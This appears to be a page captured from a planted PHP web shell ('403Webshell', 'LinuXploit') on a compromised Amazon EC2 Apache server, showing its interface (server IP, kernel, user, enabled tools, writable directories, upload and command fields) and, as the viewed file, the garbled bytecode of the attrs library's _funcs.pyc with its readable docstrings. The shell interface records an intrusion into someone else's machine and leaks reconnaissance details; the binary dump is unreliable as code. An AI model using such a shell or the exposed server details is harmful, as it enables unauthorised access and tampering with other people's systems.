403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/attr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/python3.9/site-packages/attr/__pycache__/_funcs.cpython-39.pyc
a

Pͣ_3�@s�ddlmZmZmZddlZddlmZddlmZm	Z	m
Z
ddlmZdde
ddfd	d
�Zdd�Zddedfd
d�Zdd�Zdd�Zdd�Zddd�ZdS)�)�absolute_import�division�print_functionN�)�	iteritems)�NOTHING�_obj_setattr�fields)�AttrsAttributeNotFoundErrorTFcst|j�}��}|D]�}t||j�}	�dur8�||	�s8q�durL�|||	�}	|du�rt|	j�rzt|	d�����||j<n�t|	ttt	t
f�rˆdur�|	jnt}
|
����fdd�|	D��||j<n@t|	t�r��������fdd�t|	�D��||j<n
|	||j<q|	||j<q|S)a�
    Return the ``attrs`` attribute values of *inst* as a dict.

    Optionally recurse into other ``attrs``-decorated classes.

    :param inst: Instance of an ``attrs``-decorated class.
    :param bool recurse: Recurse into classes that are also
        ``attrs``-decorated.
    :param callable filter: A callable whose return code determines whether an
        attribute or element is included (``True``) or dropped (``False``).  Is
        called with the `attr.Attribute` as the first argument and the
        value as the second argument.
    :param callable dict_factory: A callable to produce dictionaries from.  For
        example, to produce ordered dictionaries instead of normal Python
        dictionaries, pass in ``collections.OrderedDict``.
    :param bool retain_collection_types: Do not convert to ``list`` when
        encountering an attribute whose type is ``tuple`` or ``set``.  Only
        meaningful if ``recurse`` is ``True``.
    :param Optional[callable] value_serializer: A hook that is called for every
        attribute or dict key/value.  It receives the current instance, field
        and value and must return the (updated) value.  The hook is run *after*
        the optional *filter* has been applied.

    :rtype: return type of *dict_factory*

    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
        class.

    ..  versionadded:: 16.0.0 *dict_factory*
    ..  versionadded:: 16.1.0 *retain_collection_types*
    ..  versionadded:: 20.3.0 *value_serializer*
    NTcsg|]}t|������qS���_asdict_anything��.0�i��dict_factory�filter�retain_collection_types�value_serializerr�//usr/lib/python3.9/site-packages/attr/_funcs.py�
<listcomp>Is��zasdict.<locals>.<listcomp>c3s2|]*\}}t|�����t|�����fVqdS�Nr�rZkkZvv��dfrrrrr�	<genexpr>Vs ����zasdict.<locals>.<genexpr>)
r	�	__class__�getattr�name�has�asdict�
isinstance�tuple�list�set�	frozenset�dictr)�inst�recurserrrr�attrs�rv�a�v�cfr�rrrrrrr!
sB(


���
�r!cs�t|jdd�dur&t|d�����}n�t|ttttf�rh�durF|jnt}|����fdd�|D��}nHt|t�r��������fdd�t	|�D��}n|}�dur��dd|�}|S)zK
    ``asdict`` only works on attrs instances, this works on anything.
    �__attrs_attrs__NTcsg|]}t|������qSrrrrrrr�s��z$_asdict_anything.<locals>.<listcomp>c3s2|]*\}}t|�����t|�����fVqdSrrrrrrr�s	�
�
��z#_asdict_anything.<locals>.<genexpr>)
rrr!r"r#r$r%r&r'r)�valrrrrr+r.rr/rr
ps2
���
	�
r
c
st|j�}g}|�|D]�}t||j�}�dur:�||�s:q|dur�t|j�rf|�t|d���d��n�t|tt	t
tf�r��dur�|jnt	}	|�|	���fdd�|D���nJt|t�r�dur�|jnt}
|�|
��fdd�t
|�D���n
|�|�q|�|�q�t	u�r|S�|�S)a1
    Return the ``attrs`` attribute values of *inst* as a tuple.

    Optionally recurse into other ``attrs``-decorated classes.

    :param inst: Instance of an ``attrs``-decorated class.
    :param bool recurse: Recurse into classes that are also
        ``attrs``-decorated.
    :param callable filter: A callable whose return code determines whether an
        attribute or element is included (``True``) or dropped (``False``).  Is
        called with the `attr.Attribute` as the first argument and the
        value as the second argument.
    :param callable tuple_factory: A callable to produce tuples from.  For
        example, to produce lists instead of tuples.
    :param bool retain_collection_types: Do not convert to ``list``
        or ``dict`` when encountering an attribute which type is
        ``tuple``, ``dict`` or ``set``.  Only meaningful if ``recurse`` is
        ``True``.

    :rtype: return type of *tuple_factory*

    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
        class.

    ..  versionadded:: 16.2.0
    NT�r)r�
tuple_factoryrc	s,g|]$}t|j�r$t|d���d�n|�qS)Tr2�r r�astuple)r�j�r�retainr3rrr�s
���zastuple.<locals>.<listcomp>c3sJ|]B\}}t|j�r"t|��d�n|t|j�r<t|��d�n|fVqdS))r3rNr4r)r8r3rrr�s ������zastuple.<locals>.<genexpr>)r	rrrr �appendr5r"r#r$r%r&r'r)r(r)rr3rr*r+r,r-r.rrr7rr5�sJ!

��	
���
��r5cCst|dd�duS)z�
    Check whether *cls* is a class with ``attrs`` attributes.

    :param type cls: Class to introspect.
    :raise TypeError: If *cls* is not a class.

    :rtype: bool
    r0N)r)�clsrrrr s	r cKsvddl}|jdtdd�t�|�}t|j�}t|�D]<\}}t||t�}|turdt	dj
||jd���t|||�q4|S)a�
    Copy *inst* and apply *changes*.

    :param inst: Instance of a class with ``attrs`` attributes.
    :param changes: Keyword changes in the new copy.

    :return: A copy of inst with *changes* incorporated.

    :raise attr.exceptions.AttrsAttributeNotFoundError: If *attr_name* couldn't
        be found on *cls*.
    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
        class.

    ..  deprecated:: 17.1.0
        Use `evolve` instead.
    rNz6assoc is deprecated and will be removed after 2018/01.�)�
stacklevelz&{k} is not an attrs attribute on {cl}.)�kZcl)�warnings�warn�DeprecationWarning�copyr	rrrrr
�formatr)r(�changesr>�newr*r=r-r,rrr�assocs$�

��rEcKsf|j}t|�}|D]D}|jsq|j}|ddkr4|n
|dd�}||vrt||�||<q|fi|��S)a�
    Create a new instance, based on *inst* with *changes* applied.

    :param inst: Instance of a class with ``attrs`` attributes.
    :param changes: Keyword changes in the new copy.

    :return: A copy of inst with *changes* incorporated.

    :raise TypeError: If *attr_name* couldn't be found in the class
        ``__init__``.
    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
        class.

    ..  versionadded:: 17.1.0
    r�_rN)rr	�initrr)r(rCr:r*r,Z	attr_nameZ	init_namerrr�evolve=srHc	Csjz
|jWnZtydddl}|j|||d�}t|�D] }|j|vr8t|d||j�q8d|_Yn0|S)a�
    Resolve any strings and forward annotations in type annotations.

    This is only required if you need concrete types in `Attribute`'s *type*
    field. In other words, you don't need to resolve your types if you only
    use them for static type checking.

    With no arguments, names will be looked up in the module in which the class
    was created. If this is not what you want, e.g. if the name only exists
    inside a method, you may pass *globalns* or *localns* to specify other
    dictionaries in which to look up these names. See the docs of
    `typing.get_type_hints` for more details.

    :param type cls: Class to resolve.
    :param Optional[dict] globalns: Dictionary containing global variables.
    :param Optional[dict] localns: Dictionary containing local variables.

    :raise TypeError: If *cls* is not a class.
    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
        class.
    :raise NameError: If types cannot be resolved because of missing variables.

    :returns: *cls* so you can use this function also as a class decorator.
        Please note that you have to apply it **after** `attr.s`. That means
        the decorator has to come in the line **before** `attr.s`.

    ..  versionadded:: 20.1.0
    rN)�globalns�localns�typeT)Z__attrs_types_resolved__�AttributeError�typing�get_type_hintsr	rr)r:rIrJrM�hintsZfieldrrr�
resolve_typesZs

rP)NN)Z
__future__rrrrAZ_compatr�_makerrr	�
exceptionsr
r'r!r
r#r5r rErHrPrrrr�<module>s(�
f9�
d&

Youez - 2016 - github.com/yon3zu
LinuXploit